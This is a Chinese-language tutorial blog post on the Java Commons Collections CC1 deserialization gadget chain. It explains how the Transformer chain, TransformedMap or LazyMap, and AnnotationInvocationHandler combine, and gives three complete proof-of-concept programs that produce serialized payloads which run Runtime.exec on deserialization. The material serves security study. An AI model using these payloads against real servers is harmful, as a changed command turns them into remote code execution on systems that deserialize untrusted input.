CC1链,即CommonCollections利用链。
我们首先来了解一下这个链中命令执行的核心逻辑,然后再了解怎么反序列化触发。
命令执行的核心逻辑
注意,在使用下面的demo的时候,需要在pom.xml中指定Commoncollections的版本。CC链在 3.2.2 版本被修复了,所以我们必须用 3.1 或 3.2.1 版本做实验
1 2 3 4 5 6 7 8
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
|
在这里我们需要搞懂Transformers(变换器)是怎么一棒接一棒的传递数据,然后执行命令的。这里我们用到p神的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class CC1Demo { public static void main(String[] args) throws Exception { // 1. 构造 Transformer 数组(攻击流水线) Transformer[] transformers = new Transformer[]{ // 第1步:不管输入什么,都返回 Runtime.getRuntime() 这个对象 // (注意:这里直接用了 Runtime 对象,这是为了演示方便,实际上 Runtime 不能序列化,后面会改) new ConstantTransformer(Runtime.getRuntime()), // 第2步:接收上面的 Runtime 对象,调用它的 exec 方法 // 参数是 "calc" (Windows) 或 PDF 里的计算器路径 (Mac) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
// 2. 把数组封装成一条链 Transformer transformerChain = new ChainedTransformer(transformers);
// 3. 准备一个普通的 Map Map innerMap = new HashMap(); innerMap.put("value", "value");
// 4. 【关键】使用 TransformedMap 包装这个 Map // 它的作用是:每当 Map 里有新元素添加/修改时,自动调用 transformerChain 进行处理 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 5. 触发漏洞! // 向 Map 中 put 一个新值,触发了 TransformedMap 的回调机制 // 回调机制执行了 transformerChain -> 执行了 exec -> 弹出计算器 outerMap.put("test", "xxxx"); } }
|
这是我让Gemini给p神的demo注释了一下,然后我们来看这里面的具体组件。
- TransformedMap:这个类对Java里的正常Map结构做一个修饰。当修饰后的Map在添加新元素的时候,会执行一个回调,这里的回调不是一个回调函数,而是一个实现了Transformer接口的类。这里的key和value分别是处理新元素的key和value时执行的回调。
1
| Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
|
- Transformer:这个接口里定义了一个transform方法,就是上面TransformedMap里执行的回调,就是执行这个接口的transform方法
- ConstantTransformer:他的作用就是包装一个对象,然后在执行回调的时候返回这个对象
- InvokerTransformer:这个就是执行命令的扳机,用来执行输入进去的一个类的指定的方法。
- ChainedTransformer:用来装一个Transformer数组,把上一个Transformer的输出放到下一个的输入,就像Linux的管道符一样,把前一个的输出给后一个当输入
那到了这里,我们也有了一个大概的想法,就是
先创建一个Transformer数组,里面一个ConstTransformer,里面放可以用来执行命令的类的对象,然后一个InvokeTransformer里填写这个对象执行命令的具体方法,以及命令的参数。
Transformer[]=[ConstantTransformer(), InvokerTransformer()]
然后用ChainedTransformer连接起来
ChainedTransformer(Transformer[])
TransformedMap装饰一个Map结构,然后里面的回调填ChainedTransformer,后面往Map中加数据,就会自动执行了,这也是Demo中的流程。

编写poc
上半部分我们学到了cc1链的原理逻辑并且在本地上执行了,那我们现在就要想办法让远程服务器也能执行。我们需要这么一个类,他:
- 实现了Serializable,可以被序列化
- 重写了readObject方法,服务器收到数据可以自动执行
- 他的readObject方法里调用了Map的setValue或者put方法
这个类就是sun.reflect.annotation.AnnotationInvocationHandler ,这个类原本是用来处理Java注解(@Override)这种的。
他的readObject方法如下
1 2 3 4 5 6 7 8 9 10 11
| private void readObject(ObjectInputStream s) { s.defaultReadObject(); // memberValues 就是我们传进去的那个被 Transformer 修饰过的 Map for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); // ... 一系列复杂的判断 ... // 【触发点】这里调用了 setValue! // 一旦 setValue 执行,TransformedMap 就会拦截,启动 Transformer 链,弹出计算器 memberValue.setValue(...); } }
|
写poc之前还需要解决3个问题
1.解决Runtime不可序列化的问题
在上个篇章中的demo里我们直接用ConstantTransformer产出的Runtime类,但是Runtime类没有Serializable接口,没办法序列化。我们虽然没办法传Runtime对象,但是我们可以传Runtime对象的反射代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
|
2.满足AnnotationInvocationHandler的触发条件
AnnotationInvocationHandler调用setValue时需要满足2个if判断

判断条件就是:它会检查Map里的key,是否在指定的注解类中存在对应的属性名。为此,我们的构造函数第一个参数传Retention.class(一个Java标准注解),在Retention注释里有一个属性叫value,构造函数的第二个参数传Map,Map的key必须是value。此时就对上了(Key 名字==注解属性名)。
1 2
| innerMap.put("value", "xxxx");
|
3.利用反射实例化内鬼
AnnotationInvocationHandler是一个sun包下的私有类,没办法new出来,要用反射强行获取构造函数,然后实例化
1 2 3 4 5 6 7 8
| Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c = clazz.getDeclaredConstructor(Class.class, Map.class);
c.setAccessible(true);
Object payload = c.newInstance(java.lang.annotation.Retention.class, outerMap);
|
最后的这个payload就是我们构造的对象,把他序列化发给服务器,服务器就会执行
流程如下:
- 准备子弹:制作一个能执行 Runtime.exec 的 Transformer 链(利用反射绕过序列化限制)。
- 准备陷阱:用 TransformedMap 包装一个普通的 Map,并把子弹装进去。
- 设置诱饵:Map 的 Key 必须设为 “value”,以满足触发条件。
- 伪装发货:用反射实例化 AnnotationInvocationHandler,把那个 Map 塞给它。
- 发送:序列化这个 Handler 对象发送给受害者。
- 爆炸:受害者执行 readObject -> 遍历 Map -> 匹配到 “value” -> 执行 setValue -> 触发 Transformer 链 -> RCE。
但是复现这个流程,必须使用JDK7或者JDK 8u71之前的版本,因为JDK 8u71之后,AnnotationInvocationHandler的代码改了,删了setValue的逻辑。整体poc如下,抄的p神的,然后用Gemini生成了注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class CommonCollections1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object payload = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(payload); oos.close();
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");
System.out.println("开始反序列化..."); ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = (Object)ois.readObject(); } }
|
ysoserial版
在ysoserial中,cc1链使用的不是这里展示的transformermap,而是lazymap,这2者的触发方式是不一样的,traansformermap是在sevalue,put的时候会触发,而lazymap是在get的时候触发,我们来看p神的pdf中是怎么说的

但是吧,在之前那个annotationinvocationhandler的readobject方法中并没直接调用map的get方法,不过在annotationinvocationhandler类的invoke方法中有调用到get

为了能调用这个invoke方法,我们需要用到对象代理
1
| Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
|
第一个参数是ClassLoader,默认即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了invocationhandler接口的对象,里面有具体代理逻辑。
对象代理其实就是劫持内部方法调用:通过代理机制,把对象的所有方法请求都拦截到一个统一的入口(invoke),这样就可以在不改变原有代码逻辑的情况下,偷偷修改,增加或替换掉对象。
而我们的annotationinvocationhandler这个类实际上就是一个invocationhandler,只要将这个对象用proxy代理,然后在readobject的时候,随意调用任意方法,就会进入annotationinvocationhandler的invoke方法,进入了之后触发lazymap的get,然后触发tranform,然后就触发transformerchain。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler );
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = ois.readObject(); } }
|
该poc出自p神原文,我只是搬运过来,然后ai加上注释